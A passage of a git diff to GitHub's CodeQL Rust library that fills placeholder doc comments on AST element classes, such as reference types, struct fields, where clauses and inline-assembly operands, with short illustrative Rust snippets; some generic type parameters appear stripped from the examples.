d32c2bf382cb..1d5b64d4d571 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll @@ -7,4 +7,18 @@ private import internal.ParenthesizedArgListImpl import codeql.rust.elements.AstNode import codeql.rust.elements.TypeArg +/** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ final class ParenthesizedArgList = Impl::ParenthesizedArgList; diff --git a/rust/ql/lib/codeql/rust/elements/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/PathSegment.qll index 5d7c2559ad23..3127947f7c3d 100644 --- a/rust/ql/lib/codeql/rust/elements/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/PathSegment.qll @@ -15,5 +15,11 @@ import codeql.rust.elements.TypeRepr /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ final class PathSegment = Impl::PathSegment; diff --git a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll index 684d4429e5f7..6d6776e4eea5 100644 --- a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll @@ -8,10 +8,10 @@ import codeql.rust.elements.Path import codeql.rust.elements.TypeRepr /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` */ final class PathTypeRepr = Impl::PathTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll index 219b8aad5652..865e0f097562 100644 --- a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll @@ -7,9 +7,13 @@ private import internal.PtrTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ final class PtrTypeRepr = Impl::PtrTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll index 95e4e54196f8..7df3fcb128b4 100644 --- a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeRepr /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ final class RefTypeRepr = Impl::RefTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Rename.qll b/rust/ql/lib/codeql/rust/elements/Rename.qll index 11b635b4af93..d201995dc65c 100644 --- a/rust/ql/lib/codeql/rust/elements/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/Rename.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Name /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ final class Rename = Impl::Rename; diff --git a/rust/ql/lib/codeql/rust/elements/RestPat.qll b/rust/ql/lib/codeql/rust/elements/RestPat.qll index 7a127cbc30a4..9c20f0c5c9b6 100644 --- a/rust/ql/lib/codeql/rust/elements/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/RestPat.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Pat /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPat = Impl::RestPat; diff --git a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll index 05f7cc73e2c8..205044d56b2c 100644 --- a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeRepr /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ final class RetTypeRepr = Impl::RetTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll index 85c42a697f26..aff8ab93e00b 100644 --- a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll @@ -7,9 +7,22 @@ private import internal.ReturnTypeSyntaxImpl import codeql.rust.elements.AstNode /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ final class ReturnTypeSyntax = Impl::ReturnTypeSyntax; diff --git a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll index 051eceb5cc23..dfffccc0594d 100644 --- a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.SliceTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ final class SliceTypeRepr = Impl::SliceTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/SourceFile.qll index f0cb51d063c5..aaa7f1d7be48 100644 --- a/rust/ql/lib/codeql/rust/elements/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/SourceFile.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ final class SourceFile = Impl::SourceFile; diff --git a/rust/ql/lib/codeql/rust/elements/Static.qll b/rust/ql/lib/codeql/rust/elements/Static.qll index 74467dcb7053..2ddd82f25cd2 100644 --- a/rust/ql/lib/codeql/rust/elements/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/Static.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ final class Static = Impl::Static; diff --git a/rust/ql/lib/codeql/rust/elements/StmtList.qll b/rust/ql/lib/codeql/rust/elements/StmtList.qll index df22f0cc703f..76a4b5d2c34a 100644 --- a/rust/ql/lib/codeql/rust/elements/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/StmtList.qll @@ -10,9 +10,15 @@ import codeql.rust.elements.Expr import codeql.rust.elements.Stmt /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ final class StmtList = Impl::StmtList; diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll index b78254d87dc2..19f81db74e67 100644 --- a/rust/ql/lib/codeql/rust/elements/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/Struct.qll @@ -16,7 +16,10 @@ import codeql.rust.elements.WhereClause /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ final class Struct = Impl::Struct; diff --git a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll index 1ce9cd0c615c..091460538fc3 100644 --- a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.StructExprField /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ final class StructExprFieldList = Impl::StructExprFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructField.qll b/rust/ql/lib/codeql/rust/elements/StructField.qll index 157849d45a69..6d363a17b12d 100644 --- a/rust/ql/lib/codeql/rust/elements/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/StructField.qll @@ -12,9 +12,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ final class StructField = Impl::StructField; diff --git a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll index 6eee3bd61a89..0d059ee55c73 100644 --- a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.StructField /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ final class StructFieldList = Impl::StructFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll index 3ed30ea769bb..a031e720a59c 100644 --- a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.RestPat import codeql.rust.elements.StructPatField /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ final class StructPatFieldList = Impl::StructPatFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/TokenTree.qll index 1461db3dc0f6..de34cbc112e5 100644 --- a/rust/ql/lib/codeql/rust/elements/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/TokenTree.qll @@ -7,9 +7,16 @@ private import internal.TokenTreeImpl import codeql.rust.elements.AstNode /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class TokenTree = Impl::TokenTree; diff --git a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll index 21d89531ed56..956fa76ab212 100644 --- a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ final class TraitAlias = Impl::TraitAlias; diff --git a/rust/ql/lib/codeql/rust/elements/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/TryExpr.qll index 9617f5c54638..683b302528f6 100644 --- a/rust/ql/lib/codeql/rust/elements/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/TryExpr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExpr = Impl::TryExpr; diff --git a/rust/ql/lib/codeql/rust/elements/TupleField.qll b/rust/ql/lib/codeql/rust/elements/TupleField.qll index 10e22fd21ae2..9dcfaa4fb333 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleField.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ final class TupleField = Impl::TupleField; diff --git a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll index 68294d7df7aa..0c464944993c 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.TupleField /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleFieldList = Impl::TupleFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll index 66e0645cd1b4..c2a856750fad 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.TupleTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleTypeRepr = Impl::TupleTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/TypeArg.qll index 42fa984506a6..c17e7e75c69d 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.TypeRepr /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ final class TypeArg = Impl::TypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/TypeBound.qll index 52f9483afed2..c49d8e5be063 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBound.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.UseBoundGenericArgs /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ final class TypeBound = Impl::TypeBound; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll index 6f2107b9ddff..1bdf2cc1f732 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeBound /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ final class TypeBoundList = Impl::TypeBoundList; diff --git a/rust/ql/lib/codeql/rust/elements/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/TypeParam.qll index bf01aaf6f1f2..126892685cd4 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ final class TypeParam = Impl::TypeParam; diff --git a/rust/ql/lib/codeql/rust/elements/Union.qll b/rust/ql/lib/codeql/rust/elements/Union.qll index a9edce9d2fed..fac11390b1bf 100644 --- a/rust/ql/lib/codeql/rust/elements/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/Union.qll @@ -14,9 +14,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ final class Union = Impl::Union; diff --git a/rust/ql/lib/codeql/rust/elements/Use.qll b/rust/ql/lib/codeql/rust/elements/Use.qll index 7485018a975a..4d5f9bd3948f 100644 --- a/rust/ql/lib/codeql/rust/elements/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/Use.qll @@ -10,9 +10,9 @@ import codeql.rust.elements.UseTree import codeql.rust.elements.Visibility /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ final class Use = Impl::Use; diff --git a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll index 2e0fe43db24b..f3784ffdab25 100644 --- a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll +++ b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll @@ -7,4 +7,13 @@ private import internal.UseBoundGenericArgsImpl import codeql.rust.elements.AstNode import codeql.rust.elements.UseBoundGenericArg +/** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ final class UseBoundGenericArgs = Impl::UseBoundGenericArgs; diff --git a/rust/ql/lib/codeql/rust/elements/UseTree.qll b/rust/ql/lib/codeql/rust/elements/UseTree.qll index ce3f8be16d12..049931c1648a 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTree.qll @@ -10,7 +10,7 @@ import codeql.rust.elements.Rename import codeql.rust.elements.UseTreeList /** - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll index 92202501028a..7c4c5977aec3 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.UseTree /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` */ final class UseTreeList = Impl::UseTreeList; diff --git a/rust/ql/lib/codeql/rust/elements/Variant.qll b/rust/ql/lib/codeql/rust/elements/Variant.qll index ab9d391f44ac..5afa140923b5 100644 --- a/rust/ql/lib/codeql/rust/elements/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/Variant.qll @@ -13,9 +13,12 @@ import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ final class Variant = Impl::Variant; diff --git a/rust/ql/lib/codeql/rust/elements/VariantList.qll b/rust/ql/lib/codeql/rust/elements/VariantList.qll index e0cf435c4682..672ce6f91ac2 100644 --- a/rust/ql/lib/codeql/rust/elements/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/VariantList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Variant /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ final class VariantList = Impl::VariantList; diff --git a/rust/ql/lib/codeql/rust/elements/Visibility.qll b/rust/ql/lib/codeql/rust/elements/Visibility.qll index 58db9b66fe27..5562c1b3d73b 100644 --- a/rust/ql/lib/codeql/rust/elements/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/Visibility.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Path /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ final class Visibility = Impl::Visibility; diff --git a/rust/ql/lib/codeql/rust/elements/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/WhereClause.qll index 2f52bd3955f1..80e3867be315 100644 --- a/rust/ql/lib/codeql/rust/elements/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/WhereClause.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.WherePred /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ final class WhereClause = Impl::WhereClause; diff --git a/rust/ql/lib/codeql/rust/elements/WherePred.qll b/rust/ql/lib/codeql/rust/elements/WherePred.qll index 3f0bb8c5fe7e..16e1e586570e 100644 --- a/rust/ql/lib/codeql/rust/elements/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/WherePred.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ final class WherePred = Impl::WherePred; diff --git a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll index fc704d35095a..2103d983e70f 100644 --- a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll @@ -9,9 +9,13 @@ import codeql.rust.elements.Expr import codeql.rust.elements.LoopingExpr /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExpr = Impl::WhileExpr; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll index c0af077785f6..2534d71e610c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Abi */ module Impl { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends Generated::Abi { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll index af47a245980d..f5fd9a066a78 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArgList */ module Impl { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends Generated::ArgList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll index f7cf66626a0f..cb72de9b87eb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArrayTypeRepr */ module Impl { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends Generated::ArrayTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll index 155676828e82..fd724507df1a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmClobberAbi * be referenced directly. */ module Impl { + /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmClobberAbi extends Generated::AsmClobberAbi { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll index 95d11f936d73..84e7d02ebaaf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmConst * be referenced directly. */ module Impl { + /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ class AsmConst extends Generated::AsmConst { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll index 10b04b298d4d..36c0877567fc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmDirSpec * be referenced directly. */ module Impl { + /** + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` + */ class AsmDirSpec extends Generated::AsmDirSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll index 6f393f9ed481..6990f1d7b6c3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmLabel * be referenced directly. */ module Impl { + /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmLabel extends Generated::AsmLabel { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll index ebf9a7ae2ed2..db309ada7d7d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOperandExpr * be referenced directly. */ module Impl { + /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmOperandExpr extends Generated::AsmOperandExpr { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll index c9903d908047..5012d8578d5e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOperandNamed * be referenced directly. */ module Impl { + /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` + */ class AsmOperandNamed extends Generated::AsmOperandNamed { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll index 4f0ea60c798b..c96a8cecd06e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOption * be referenced directly. */ module Impl { + /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOption extends Generated::AsmOption { } } diff --git 